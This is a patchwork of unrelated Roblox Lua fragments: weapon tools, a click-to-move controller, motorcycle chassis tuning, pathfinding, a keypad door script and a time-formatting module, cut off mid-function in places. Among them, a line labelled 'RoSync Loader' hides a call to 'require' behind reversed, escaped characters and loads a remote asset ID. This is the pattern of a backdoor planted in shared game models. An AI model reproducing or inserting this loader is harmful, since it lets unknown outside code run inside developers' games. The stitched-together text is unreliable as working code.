vCharacter:FindFirstChildOfClass("Humanoid") end Tool.Equipped:Connect(onEquipped) Sword.Touched:Connect(cut)
--[[Misc]]
-- Tune.LoadDelay = 1 -- Delay before initializing chassis (in seconds, increase for more reliable initialization) Tune.AutoStart = false -- Set to false if using manual ignition plugin Tune.AutoUpdate = true -- Automatically applies minor updates to the chassis if any are found.
--h.Health = h.Health - 0
end end script.Parent.Touched:connect(onTouched)
-- Variables
local plrs = game:GetService("Players")
-- find player's head pos
local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) local head = vCharacter:findFirstChild("Head") if head == nil then return end local dir = mouse_pos - head.Position dir = computeDirection(dir) local pelletCF = CFrame.new(head.Position, head.Position + dir) local missile = Pellet:clone() missile.CFrame = pelletCF * offset local delta = mouse_pos - missile.CFrame.p local dy = delta.y local new_delta = Vector3.new(delta.x, 0, delta.z) delta = new_delta local dx = delta.magnitude local unit_delta = delta.unit -- acceleration due to gravity in RBX units local g = (1 * 20) local theta = computeLaunchAngle( dx, dy, g) local vy = math.sin(theta) local xz = math.cos(theta) local vx = unit_delta.x * xz local vz = unit_delta.z * xz missile.Velocity = Vector3.new(vx,vy,vz) * VELOCITY * 1.3 missile.PelletScript.Disabled = false local creator_tag = Instance.new("ObjectValue") creator_tag.Value = vPlayer creator_tag.Name = "creator" creator_tag.Parent = missile missile.Parent = game.Workspace end function computeLaunchAngle(dx,dy,grav) -- arcane -- http://en.wikipedia.org/wiki/Trajectory_of_a_projectile local g = math.abs(grav) local inRoot = (VELOCITY*VELOCITY*VELOCITY*VELOCITY) - (g * ((g*dx*dx) + (2*dy*VELOCITY*VELOCITY))) if inRoot <= 0 then return .25 * math.pi end local root = math.sqrt(inRoot) local inATan1 = ((VELOCITY*VELOCITY) + root) / (g*dx) local inATan2 = ((VELOCITY*VELOCITY) - root) / (g*dx) local answer1 = math.atan(inATan1) local answer2 = math.atan(inATan2) if answer1 < answer2 then return answer1 end return answer2 end function computeDirection(vec) local lenSquared = vec.magnitude * vec.magnitude local invSqrt = 1 / math.sqrt(lenSquared) return Vector3.new(vec.x * invSqrt, vec.y * invSqrt, vec.z * invSqrt) end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end local targetPos = humanoid.TargetPoint for i=1,1 do for j=1,1 do fire(targetPos, CFrame.new(i,j,-5)) end end wait(1) Tool.Enabled = true end script.Parent.Activated:connect(onActivated)
--[[ The ClickToMove Controller Class ]]
-- local KeyboardController = require(script.Parent:WaitForChild("Keyboard")) local ClickToMove = setmetatable({}, KeyboardController) ClickToMove.__index = ClickToMove function ClickToMove.new(CONTROL_ACTION_PRIORITY) local self = setmetatable(KeyboardController.new(CONTROL_ACTION_PRIORITY), ClickToMove) self.fingerTouches = {} self.numUnsunkTouches = 0 -- PC simulation self.mouse1Down = tick() self.mouse1DownPos = Vector2.new() self.mouse2DownTime = tick() self.mouse2DownPos = Vector2.new() self.mouse2UpTime = tick() self.keyboardMoveVector = ZERO_VECTOR3 self.tapConn = nil self.inputBeganConn = nil self.inputChangedConn = nil self.inputEndedConn = nil self.humanoidDiedConn = nil self.characterChildAddedConn = nil self.onCharacterAddedConn = nil self.characterChildRemovedConn = nil self.renderSteppedConn = nil self.menuOpenedConnection = nil self.running = false self.wasdEnabled = false return self end function ClickToMove:DisconnectEvents() DisconnectEvent(self.tapConn) DisconnectEvent(self.inputBeganConn) DisconnectEvent(self.inputChangedConn) DisconnectEvent(self.inputEndedConn) DisconnectEvent(self.humanoidDiedConn) DisconnectEvent(self.characterChildAddedConn) DisconnectEvent(self.onCharacterAddedConn) DisconnectEvent(self.renderSteppedConn) DisconnectEvent(self.characterChildRemovedConn) DisconnectEvent(self.menuOpenedConnection) end function ClickToMove:OnTouchBegan(input, processed) if self.fingerTouches[input] == nil and not processed then self.numUnsunkTouches = self.numUnsunkTouches + 1 end self.fingerTouches[input] = processed end function ClickToMove:OnTouchChanged(input, processed) if self.fingerTouches[input] == nil then self.fingerTouches[input] = processed if not processed then self.numUnsunkTouches = self.numUnsunkTouches + 1 end end end function ClickToMove:OnTouchEnded(input, processed) if self.fingerTouches[input] ~= nil and self.fingerTouches[input] == false then self.numUnsunkTouches = self.numUnsunkTouches - 1 end self.fingerTouches[input] = nil end function ClickToMove:OnCharacterAdded(character) self:DisconnectEvents() self.inputBeganConn = UserInputService.InputBegan:Connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchBegan(input, processed) end -- Cancel path when you use the keyboard controls if wasd is enabled. if self.wasdEnabled and processed == false and input.UserInputType == Enum.UserInputType.Keyboard and movementKeys[input.KeyCode] then CleanupPath() ClickToMoveDisplay.CancelFailureAnimation() end if input.UserInputType == Enum.UserInputType.MouseButton1 then self.mouse1DownTime = tick() self.mouse1DownPos = input.Position end if input.UserInputType == Enum.UserInputType.MouseButton2 then self.mouse2DownTime = tick() self.mouse2DownPos = input.Position end end) self.inputChangedConn = UserInputService.InputChanged:Connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchChanged(input, processed) end end) self.inputEndedConn = UserInputService.InputEnded:Connect(function(input, processed) if input.UserInputType == Enum.UserInputType.Touch then self:OnTouchEnded(input, processed) end if input.UserInputType == Enum.UserInputType.MouseButton2 then self.mouse2UpTime = tick() local currPos: Vector3 = input.Position -- We allow click to move during path following or if there is no keyboard movement local allowed = ExistingPather or self.keyboardMoveVector.Magnitude <= 0 if self.mouse2UpTime - self.mouse2DownTime < 0.25 and (currPos - self.mouse2DownPos).magnitude < 5 and allowed then local positions = {currPos} OnTap(positions) end end end) self.tapConn = UserInputService.TouchTap:Connect(function(touchPositions, processed) if not processed then OnTap(touchPositions, nil, true) end end) self.menuOpenedConnection = GuiService.MenuOpened:Connect(function() CleanupPath() end) local function OnCharacterChildAdded(child) if UserInputService.TouchEnabled then if child:IsA('Tool') then child.ManualActivationOnly = true end end if child:IsA('Humanoid') then DisconnectEvent(self.humanoidDiedConn) self.humanoidDiedConn = child.Died:Connect(function() if ExistingIndicator then DebrisService:AddItem(ExistingIndicator.Model, 1) end end) end end self.characterChildAddedConn = character.ChildAdded:Connect(function(child) OnCharacterChildAdded(child) end) self.characterChildRemovedConn = character.ChildRemoved:Connect(function(child) if UserInputService.TouchEnabled then if child:IsA('Tool') then child.ManualActivationOnly = false end end end) for _, child in pairs(character:GetChildren()) do OnCharacterChildAdded(child) end end function ClickToMove:Start() self:Enable(true) end function ClickToMove:Stop() self:Enable(false) end function ClickToMove:CleanupPath() CleanupPath() end function ClickToMove:Enable(enable: boolean, enableWASD: boolean, touchJumpController) if enable then if not self.running then if Player.Character then -- retro-listen self:OnCharacterAdded(Player.Character) end self.onCharacterAddedConn = Player.CharacterAdded:Connect(function(char) self:OnCharacterAdded(char) end) self.running = true end self.touchJumpController = touchJumpController if self.touchJumpController then self.touchJumpController:Enable(self.jumpEnabled) end else if self.running then self:DisconnectEvents() CleanupPath() -- Restore tool activation on shutdown if UserInputService.TouchEnabled then local character = Player.Character if character then for _, child in pairs(character:GetChildren()) do if child:IsA('Tool') then child.ManualActivationOnly = false end end end end self.running = false end if self.touchJumpController and not self.jumpEnabled then self.touchJumpController:Enable(true) end self.touchJumpController = nil end -- Extension for initializing Keyboard input as this class now derives from Keyboard if UserInputService.KeyboardEnabled and enable ~= self.enabled then self.forwardValue = 0 self.backwardValue = 0 self.leftValue = 0 self.rightValue = 0 self.moveVector = ZERO_VECTOR3 if enable then self:BindContextActions() self:ConnectFocusEventListeners() else self:UnbindContextActions() self:DisconnectFocusEventListeners() end end self.wasdEnabled = enable and enableWASD or false self.enabled = enable end function ClickToMove:OnRenderStepped(dt) -- Reset jump self.isJumping = false -- Handle Pather if ExistingPather then -- Let the Pather update ExistingPather:OnRenderStepped(dt) -- If we still have a Pather, set the resulting actions if ExistingPather then -- Setup move (NOT relative to camera) self.moveVector = ExistingPather.NextActionMoveDirection self.moveVectorIsCameraRelative = false -- Setup jump (but do NOT prevent the base Keayboard class from requesting jumps as well) if ExistingPather.NextActionJump then self.isJumping = true end else self.moveVector = self.keyboardMoveVector self.moveVectorIsCameraRelative = true end else self.moveVector = self.keyboardMoveVector self.moveVectorIsCameraRelative = true end -- Handle Keyboard's jump if self.jumpRequested then self.isJumping = true end end
------------------------------------------------------------------
local RocketEnabled = true local FlareEnabled = true local BombEnabled = true local MissileEnabled = true
-- Initialize new part tool
local NewPartTool = require(CoreTools:WaitForChild 'NewPart') Core.AssignHotkey('J', Core.Support.Call(Core.EquipTool, NewPartTool)); Core.AddToolButton(Core.Assets.NewPartIcon, 'J', NewPartTool)
-- Written 21/07/2021
game.StarterGui:SetCoreGuiEnabled("All", false) -- Disable all core guis, including Chat, PlayerList, etc.
--local function attack(target) -- local distance = (TeddyAI.HumanoidRootPart.Position - target.HumanoidRootPart.Position).Magnitude
--if distance > 90 then -- humanoid:MoveTo(target.HumanoidRootPart.Position) --else --stop movement --TeddyAI.Humanoid.WalkSpeed = 0 --target.Humanoid.WalkSpeed = 0 -- play sound -- TeddyAI.Head.AttackSound:Play() --fire event --local events = game.ReplicatedStorage:WaitForChild("Events") --local player = game.Players:GetPlayerFromCharacter(target) --events:WaitForChild("playerDeath"):FireClient(player, TeddyAI) --play the animation --local attackAnim = humanoid:LoadAnimation(script.AttackAnim) --attackAnim:Play() --attackAnim.Stopped:Wait() --kill the player --target.Humanoid.Health = 0 --restart movement --TeddyAI.Humanoid.WalkSpeed = script.Parent.Humanoid.WalkSpeed --end
--!strict
local Types = require(script.Parent.Parent.Parent.Types) local ALL_PLAYERS = { kind = "all", value = nil } :: Types.PlayerContainer
--[=[ Destroys the Trove object. Forces `Clean` to run. ]=]
function Trove:Destroy() self:Clean() end return Trove
------------------------------------------ --Clear And Enter
function Clear() print("Cleared") Input = "" end script.Parent.Clear.ClickDetector.MouseClick:connect(Clear) function Enter() if Input == Code then print("Entered") Input = "" local door = script.Parent.Parent.Door door.CanCollide = false door.Transparency = door.Transparency + 0.1 wait(0.1) door.Transparency = door.Transparency + 0.1 wait(0.1) door.Transparency = door.Transparency + 0.1 wait(0.1) door.Transparency = door.Transparency + 0.1 wait(0.1) door.Transparency = door.Transparency + 0.1 wait(0.1) door.Transparency = door.Transparency + 0.1 wait(0.1) door.Transparency = door.Transparency + 0.1 wait(0.1) door.Transparency = 0.8 wait(3)-- door.Transparency = door.Transparency - 0.1 wait(0.1) door.Transparency = door.Transparency - 0.1 wait(0.1) door.Transparency = door.Transparency - 0.1 wait(0.1) door.Transparency = door.Transparency - 0.1 wait(0.1) door.Transparency = door.Transparency - 0.1 wait(0.1) door.Transparency = door.Transparency - 0.1 wait(0.1) door.Transparency = door.Transparency - 0.1 wait(0.1) door.Transparency = 0 door.CanCollide = true return end Input = "" print("Wrong Code") end script.Parent.Enter.ClickDetector.MouseClick:connect(Enter)
--// Math
local L_132_ = function(L_169_arg1, L_170_arg2, L_171_arg3) if L_169_arg1 > L_171_arg3 then return L_171_arg3 elseif L_169_arg1 < L_170_arg2 then return L_170_arg2 end return L_169_arg1 end local L_133_ = L_121_.new(Vector3.new()) L_133_.s = 30 L_133_.d = 0.55 local L_134_ = CFrame.Angles(0, 0, 0)
--[[ Last synced 10/19/2020 07:19 RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722947559) --[[ ]]--
--Fire the WaypointReached event
local function invokeWaypointReached(self) local lastWaypoint = self._waypoints[self._currentWaypoint - 1] local nextWaypoint = self._waypoints[self._currentWaypoint] self._events.WaypointReached:Fire(self._agent, lastWaypoint, nextWaypoint) end local function moveToFinished(self, reached) --Stop execution if Path is destroyed if not getmetatable(self) then return end --Handle case for non-humanoids if not self._humanoid then if reached and self._currentWaypoint + 1 <= #self._waypoints then invokeWaypointReached(self) self._currentWaypoint += 1 elseif reached then self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints) self._target = nil self._events.Reached:Fire(self._agent, self._waypoints[self._currentWaypoint]) else self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints) self._target = nil declareError(self, self.ErrorType.TargetUnreachable) end return end if reached and self._currentWaypoint + 1 <= #self._waypoints then --Waypoint reached if self._currentWaypoint + 1 < #self._waypoints then invokeWaypointReached(self) end self._currentWaypoint += 1 move(self) elseif reached then --Target reached, pathfinding ends disconnectMoveConnection(self) self._status = Path.StatusType.Idle self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints) self._events.Reached:Fire(self._agent, self._waypoints[self._currentWaypoint]) else --Target unreachable disconnectMoveConnection(self) self._status = Path.StatusType.Idle self._visualWaypoints = destroyVisualWaypoints(self._visualWaypoints) declareError(self, self.ErrorType.TargetUnreachable) end end
--[=[ @param ... any Fires the signal at _all_ clients with any arguments. :::note Outbound Middleware All arguments pass through any outbound middleware before being sent to the clients. ::: ]=]
function RemoteSignal:FireAll(...: any) self._re:FireAllClients(self:_processOutboundMiddleware(nil, ...)) end
-- Stop snapping whenever mouse is released
Support.AddUserInputListener('Ended', 'MouseButton1', true, function (Input) -- Ensure snapping is ongoing if not SnappingStage then return; end; -- Finish snapping FinishSnapping(); end); function FinishSnapping() -- Cleans up and finalizes the snapping operation -- Ensure snapping is ongoing if not SnappingStage then return; end; -- Restore the selection's original state if stage was reached if SnappingStartSelectionState then for Part, State in pairs(SnappingStartSelectionState) do Part:MakeJoints(); Part.CanCollide = State.CanCollide; Part.Anchored = State.Anchored; end; end; -- Disable any snapping stage SnappingStage = nil; -- Stop snap point tracking SnapTracking.StopTracking(); -- Clear any UI if DirectionLine then DirectionLine:Destroy(); DirectionLine = nil; end; if AlignmentLine then AlignmentLine:Destroy(); AlignmentLine = nil; end; -- Register any change if HistoryRecord then RegisterChange(); end; -- Disconnect snapping listeners ClearConnection 'SnapDragStart'; ClearConnection 'SnapDrag'; ClearConnection 'Snap'; ClearConnection 'SnapDragEnd'; end; function GetFaceOffsetsFromCorner(Part, Point) -- Returns offsets of the given corner point in the direction of its intersecting faces local Offsets = {}; -- Go through each face the corner intersects local Faces = GetFacesFromCorner(Part, Point); for _, Face in pairs(Faces) do -- Calculate the offset from the corner in the direction of the face local FaceOffset = (Vector3.FromNormalId(Face) * Part.Size) / 2; local Offset = CFrame.new(Point) * CFrame.Angles(Part.CFrame:toEulerAnglesXYZ()) * FaceOffset; table.insert(Offsets, { Face = Face, Offset = Offset }); end; -- Return the list of offsets return Offsets; end; function GetFacesFromCorner(Part, Point) -- Returns the 3 faces that the given corner point intersects local Faces = {}; -- Get all the face centers of the part for _, FaceEnum in pairs(Enum.NormalId:GetEnumItems()) do local Face = Part.CFrame * (Part.Size / 2 * Vector3.FromNormalId(FaceEnum)); -- Get the face's proximity to the point local Proximity = (Point - Face).magnitude; -- Keep track of the proximity to the point table.insert(Faces, { Proximity = Proximity, Face = FaceEnum }); end; -- Find the closest faces to the point table.sort(Faces, function (A, B) return A.Proximity < B.Proximity; end); -- Return the 3 closest faces return { Faces[1].Face, Faces[2].Face, Faces[3].Face }; end;
--[[ Hello magnificient user! This is the Time Formatting Module (TFM) which is the first module by me. I do plan to start a series of modules, so this is part of the "Crazy Cool Carbyne Collection" (aka Quad-C) (the name of the series). As a fun fact, this module was released on April Fool's Day! Anyways, here is the API (it's VERY simple because this is my first module): __________________________________________________________________________________________________________________________________________ tfm:Convert(integer Seconds, string Form, bool AddZero) Seconds [MANDATORY] --- provide an integer either as a string or as a number (i.e. 2 or "2", NOT 2.1 or "2.1") Form [OPTIONAL] --- provide a string that decides how the given seconds will be formatted Default Form (aka Colon Form): * displays in the format xx:xx:xx * acceptable strings - "default" or "colon" in any case (i.e. uppercase is all fine) * maximum unit is hour, the number displayed can be infinitely large * this is the form used when you do not provide a string for this parameter Short Form: * displays in the format xx yr(s) xx mon xx d xx hr(s) xx min(s) xx sec * acceptable strings - "short" in any case * maximum unit is year * AddZero does NOT apply whatsoever (i.e. this is not possible: 10 min 09 sec) * adjusts to being plural when need (i.e. minutes when it's greater than 1) * ONLY yr, hr, min change (please send a request if you want this to be changed) Full Form: * displays in the format xx year(s) xx month(s) xx day(s) xx hour(s) xx minute(s) xx second(s) * acceptable strings - "full" in any case * maximum unit is year * AddZero does NOT apply whatsoever * ajusts to being plural when needed (with ALL units) AddZero [OPTIONAL] --- provide a boolean value whether you would like to add a zero in front of the biggest unit, for example setting this to true will display 3720 as 01:02:00 as opposed to false where it's 1:02:00 * by default (if this parameter is not given), this is false ***Currently only applicabale to DEFAULT FORM!*** __________________________________________________________________________________________________________________________________________ NOTE: The order of the parameters matters. If you want to set AddZero, then you must provide Form before that even though it is optional. That is it for now, as you can see, this module is very simple right now. If you want to: * request a new feature * change an exisiting one or * give a suggestion on how to furthur optimize the module's code (I am not the best scripter, but I am willing to learn!), You can contact me via a PM on the DevForum. But, if you want to make minor adjustments that you think will only benefit you, then you are welcome to edit to your desire the script below. Have a great time unser! ]]
local l = string.lower local min, hr, d, mon, yr, max = "minute", "hour", "day", "month", "year", "max" local secsInMonth, secsInYear = 2592000, 30672000 local default, colon, short, full = "default", "colon", "short", "full" local a = {second = " sec ", minute = " min ", hour = " hr ", day = " d ", month = " mon ", year = " yr "} local ap = {second = "sec ", minute = "mins ", hour = "hrs ", day = "d ", month = "mon ", year = "yrs "} local f = {second = " second ", minute = " minute ", hour = " hour ", day = " day ", month = " month ", year = " year "} local fp = {second = " seconds ", minute = " minutes ", hour = " hours ", day = " days ", month = " months ", year = " years "} local function quickVar(secs, factor) return (secs - (secs % factor)) / factor end local function convert(secs, Form, addZero) local form if Form ~= nil then form = l(Form) else form = nil end if form == default or form == colon or form == nil then local remainderMin, remainderSecond, hour, minute = 0, 0, 0, 0 if secs >= 3600 then remainderMin = secs % 3600 remainderSecond = remainderMin % 60 hour = quickVar(secs, 3600) minute = quickVar(remainderMin, 60) elseif secs < 3600 and secs >= 60 then remainderSecond = secs % 60 minute = quickVar(secs, 60) else remainderSecond = secs minute = 0 end if hour < 10 and addZero == true then hour = "0" .. hour end if (minute < 10 and secs >= 3600) or (minute < 10 and secs < 3600 and addZero == true) then minute = "0" .. minute end if (remainderSecond < 10 and secs >= 60) then remainderSecond = "0" .. remainderSecond end if secs < 60 then return secs elseif secs < 3600 and secs >= 60 then return minute .. ":" .. remainderSecond elseif secs >= 3600 then return hour .. ":" .. minute .. ":" .. remainderSecond end elseif form ~= default or form ~= nil or form ~= colon then if addZero == true then warn("TFM: Zeros are only togglable for the default form!") end local remainderYear, remainderMonth, remainderDay, remainderHour, remainderMin,remainderSecond, year, month, day, hour, minute = 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 local displayMin, displaySec, displayHr, displayDay, displayMon, displayYr if secs < 60 then if form == short then if secs > 1 then displaySec = ap.second else displaySec = a.second end elseif form == full then if secs > 1 then displaySec = fp.second else displaySec = f.second end end return secs .. displaySec elseif secs < 3600 then remainderSecond = secs % 60 minute = quickVar(secs, 60) if form == short then if minute > 1 then displayMin = ap.minute else displayMin = a.minute end if remainderSecond > 1 then displaySec = ap.second else displaySec = a.second end elseif form == full then if minute > 1 then displayMin = fp.minute else displayMin = f.minute end if remainderSecond > 1 then displaySec = fp.second else displaySec = f.second end end return minute .. displayMin .. remainderSecond .. displaySec elseif secs < 86400 and secs >= 3600 then remainderMin = secs % 3600 remainderSecond = remainderMin % 60 hour = quickVar(secs, 3600) minute = quickVar(remainderMin, 60) if form == short then if hour > 1 then displayHr = ap.hour else displayHr = a.hour end if minute > 1 then displayMin = ap.minute else displayMin = a.minute end if remainderSecond > 1 then displaySec = ap.second else displaySec = a.second end elseif form == full then if hour > 1 then displayHr = fp.hour else displayHr = f.hour end if minute > 1 then displayMin = fp.minute else displayMin = f.minute end if remainderSecond > 1 then displaySec = fp.second else displaySec = f.second end end return hour .. displayHr .. minute .. displayMin .. remainderSecond .. displaySec elseif secs < secsInMonth and secs >= 86400 then remainderHour = secs % 86400 remainderMin = remainderHour % 3600 remainderSecond = remainderMin % 60 day = quickVar(secs, 86400) hour = quickVar(remainderHour, 3600) minute = quickVar(remainderMin, 60) if form == short then if day > 1 or day == 0 then displayDay = ap.day else displayDay = a.day end if hour > 1 or hour == 0 then displayHr = ap.hour else displayHr = a.hour end if minute > 1 or minute == 0 then displayMin = ap.minute else displayMin = a.minute end if remainderSecond > 1 or remainderSecond == 0 then displaySec = ap.second else displaySec = a.second end elseif form == full then if day > 1 or day == 0 then displayDay = fp.day else displayDay = f.day end if hour > 1 or hour == 0 then displayHr = fp.hour else displayHr = f.hour end if minute > 1 or minute == 0 then displayMin = fp.minute else displayMin = f.minute end if remainderSecond > 1 or remainderSecond == 0 then displaySec = fp.second else displaySec = f.second end end return day .. displayDay .. hour .. displayHr .. minute .. displayMin .. remainderSecond .. displaySec elseif secs < secsInYear and secs >= secsInMonth then remainderDay = secs % secsInMonth remainderHour = remainderDay % 86400 remainderMin = remainderHour % 3600 remainderSecond = remainderMin % 60 month = quickVar(secs, secsInMonth) day = quickVar(remainderDay, 86400) hour = quickVar(remainderHour, 3600) minute = quickVar(remainderMin, 60) if form == short then if month > 1 or month == 0 then displayMon = ap.month else displayMon = a.month end if day > 1 or day == 0 then displayDay = ap.day else displayDay = a.day end if hour > 1 or hour == 0 then displayHr = ap.hour else displayHr = a.hour end if minute > 1 or minute == 0 then displayMin = ap.minute else displayMin = a.minute end if remainderSecond > 1 or remainderSecond == 0 then displaySec = ap.second else displaySec = a.second end elseif form == full then if month > 1 or month == 0 then displayMon = fp.month else displayMon = f.month end if day > 1 or day == 0 then displayDay = fp.day else displayDay = f.day end if hour > 1 or hour == 0 then displayHr = fp.hour else displayHr = f.hour end if minute > 1 or minute == 0 then displayMin = fp.minute else displayMin = f.minute end if remainderSecond > 1 or remainderSecond == 0 then displaySec = fp.second else displaySec = f.second end end return month .. displayMon .. day .. displayDay .. hour .. displayHr .. minute .. displayMin .. remainderSecond .. displaySec elseif secs >= secsInYear then remainderMonth = secs % secsInYear remainderDay = remainderMonth % secsInMonth remainderHour = remainderDay % 86400 remainderMin = remainderHour % 3600 remainderSecond = remainderMin % 60 year = quickVar(secs, secsInYear) month = quickVar(remainderMonth, secsInMonth) day = quickVar(remainderDay, 86400) hour = quickVar(remainderHour, 3600) minute = quickVar(remainderMin, 60) if form == short then if year > 1 or year == 0 then displayYr = ap.year else displayYr = a.year end if month > 1 or month == 0 then displayMon = ap.month else displayMon = a.month end if day > 1 or day == 0 then displayDay = ap.day else displayDay = a.day end if hour > 1 or hour == 0 then displayHr = ap.hour else displayHr = a.hour end if minute > 1 or minute == 0 then displayMin = ap.minute else displayMin = a.minute end if remainderSecond > 1 or remainderSecond == 0 then displaySec = ap.second else displaySec = a.second end elseif form == full then if year > 1 or year == 0 then displayYr = fp.year else displayYr = f.year end if month > 1 or month == 0 then displayMon = fp.month else displayMon = f.month end if day > 1 or day == 0 then displayDay = fp.day else displayDay = f.day end if hour > 1 or hour == 0 then displayHr = fp.hour else displayHr = f.hour end if minute > 1 or minute == 0 then displayMin = fp.minute else displayMin = f.minute end if remainderSecond > 1 or remainderSecond == 0 then displaySec = fp.second else displaySec = f.second end end return year .. displayYr .. month .. displayMon .. day .. displayDay .. hour .. displayHr .. minute .. displayMin .. remainderSecond .. displaySec end end end local function checkSec(secs) if string.find(tostring(secs), "%p") ~= nil then error("TFM: Given seconds are not in integer form!") return false else return true end end local tfm = {} function tfm:Convert(secs, form, addZero) if type(secs) == "number" then local passed = checkSec(secs) if passed == false then return end elseif type(secs) == "string" then if tonumber(secs) ~= nil then secs = tonumber(secs) local passed = checkSec(secs) if passed == true then secs = tonumber(secs) else return end else error("TFM: Given string for seconds is not valid. Please make sure the given string has a number in it!") return end else error("TFM: Given seconds are not even a number or a valid string!") return end return convert(secs, form, addZero) end return tfm
--[[ Novena Constraint Type: Motorcycle The Bike Chassis, Beta Version Avxnturador | Novena RikOne2 | Enjin Please read the README for updates. --]]
local Tune = {}
--going back to normal
wait(0.03) weld55.C1 = CFrame.new(-0.35, 0.5, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.16, math.rad(-90)) wait(0.03) weld55.C1 = CFrame.new(-0.35, 0.5, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.10, math.rad(-90)) wait(0.03) weld55.C1 = CFrame.new(-0.35, 0.5, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0.05, math.rad(-90)) wait(0.03) weld33.C1 = CFrame.new(-0.75, 0.8, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15),0) wait(0.03) weld33.C1 = CFrame.new(-0.75, 0.7, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15),0) wait(0.03) weld33.C1 = CFrame.new(-0.75, 0.6, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15),0) wait(0.03) weld33.C1 = CFrame.new(-0.75, 0.5, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15),0) wait() weld33.C1 = CFrame.new(-0.75, 0.5, 0.35) * CFrame.fromEulerAnglesXYZ(math.rad(-90), math.rad(-15),0) weld55.C1 = CFrame.new(-0.35, 0.5, 0.6) * CFrame.fromEulerAnglesXYZ(math.rad(290), 0, math.rad(-90)) script.Amo.Value = 7 Tool.Handle.Reload.Pitch = 1 end function kickdecider() if script.Amo.Value < 1 then kickreload() elseif script.Amo.Value > 0 then kicknormal() end end function onEquipped(mouse2) mouse2.KeyDown:connect(onkeyDown) mouse = mouse2 end function onkeyDown(key) if key == "r" then if script.Amo.Value == 7 then return end if script.Amo.Value == 18 then return end if not a then kickreload() end end end function equip1() --reload script thingy, derived from XAXA's script print("Equipped") if game.Players.LocalPlayer ~= nil then local m = Tool.AmmoGUI:clone() m.Parent = game.Players.LocalPlayer.PlayerGui while m ~= nil do wait(0.1) m.Counter.TextLabel.Text = "Ammo Left:"..script.Amo.Value if script.Amo.Value == 18 then m.Counter.TextLabel.Text = "Reloading..." wait(2.3) wait() script.Amo.Value = 7 -- amount of ammunition that can be discharged before reloading m.Counter.TextLabel.Text = "Ammo "..script.Amo.Value end end end end function unequip1() print("Unequipped") if game.Players.LocalPlayer ~= nil then print("localplayer found") local m = game.Players.LocalPlayer.PlayerGui:FindFirstChild("AmmoGUI") if m ~= nil then m:remove() end end end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end local targetPos = humanoid.TargetPoint local lookAt = (targetPos - character.Head.Position).unit fire(lookAt) Tool.Enabled = true end script.Parent.Equipped:connect(onEquipped) script.Parent.Activated:connect(onActivated) Tool.Equipped:connect(Equip) Tool.Unequipped:connect(Unequip) script.Parent.Equipped:connect(equip1) script.Parent.Unequipped:connect(unequip1)
--[=[ @tag Component Class @return {Component} Gets a table array of all existing component objects. For example, if there was a component class linked to the "MyComponent" tag, and three Roblox instances in your game had that same tag, then calling `GetAll` would return the three component instances. ```lua local MyComponent = Component.new({Tag = "MyComponent"}) -- ... local components = MyComponent:GetAll() for _,component in ipairs(components) do component:DoSomethingHere() end ``` ]=]
function Component:GetAll() return self[KEY_COMPONENTS] end
--[[Susupension]]
Tune.SusEnabled = true -- works only in with PGSPhysicsSolverEnabled, defaults to false when PGS is disabled --Front Suspension Tune.FSusDamping = 500 -- Spring Dampening Tune.FSusStiffness = 25000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.FSusLength = 2 -- Suspension length (in studs) Tune.FPreCompress = .3 -- Pre-compression adds resting length force Tune.FExtensionLim = .3 -- Max Extension Travel (in studs) Tune.FCompressLim = .1 -- Max Compression Travel (in studs) Tune.FSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.FWsBoneLen = 5 -- Wishbone Length Tune.FWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.FAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Rear Suspension Tune.RSusDamping = 500 -- Spring Dampening Tune.RSusStiffness = 25000 -- Spring Force Tune.FAntiRoll = 50 -- Anti-Roll (Gyro Dampening) Tune.RSusLength = 2 -- Suspension length (in studs) Tune.RPreCompress = .3 -- Pre-compression adds resting length force Tune.RExtensionLim = .3 -- Max Extension Travel (in studs) Tune.RCompressLim = .1 -- Max Compression Travel (in studs) Tune.RSusAngle = 80 -- Suspension Angle (degrees from horizontal) Tune.RWsBoneLen = 5 -- Wishbone Length Tune.RWsBoneAngle = 0 -- Wishbone angle (degrees from horizontal) Tune.RAnchorOffset = { -- Suspension anchor point offset (relative to center of wheel) --[[Lateral]] -.4 , -- positive = outward --[[Vertical]] -.5 , -- positive = upward --[[Forward]] 0 } -- positive = forward --Aesthetics Tune.SusVisible = false -- Spring Visible Tune.WsBVisible = false -- Wishbone Visible Tune.SusRadius = .2 -- Suspension Coil Radius Tune.SusThickness = .1 -- Suspension Coil Thickness Tune.SusColor = "Bright red" -- Suspension Color [BrickColor] Tune.SusCoilCount = 6 -- Suspension Coil Count Tune.WsColor = "Black" -- Wishbone Color [BrickColor] Tune.WsThickness = .1 -- Wishbone Rod Thickness
---------------------------------------------------------------------------------------------------- --------------------=[ OUTROS ]=-------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
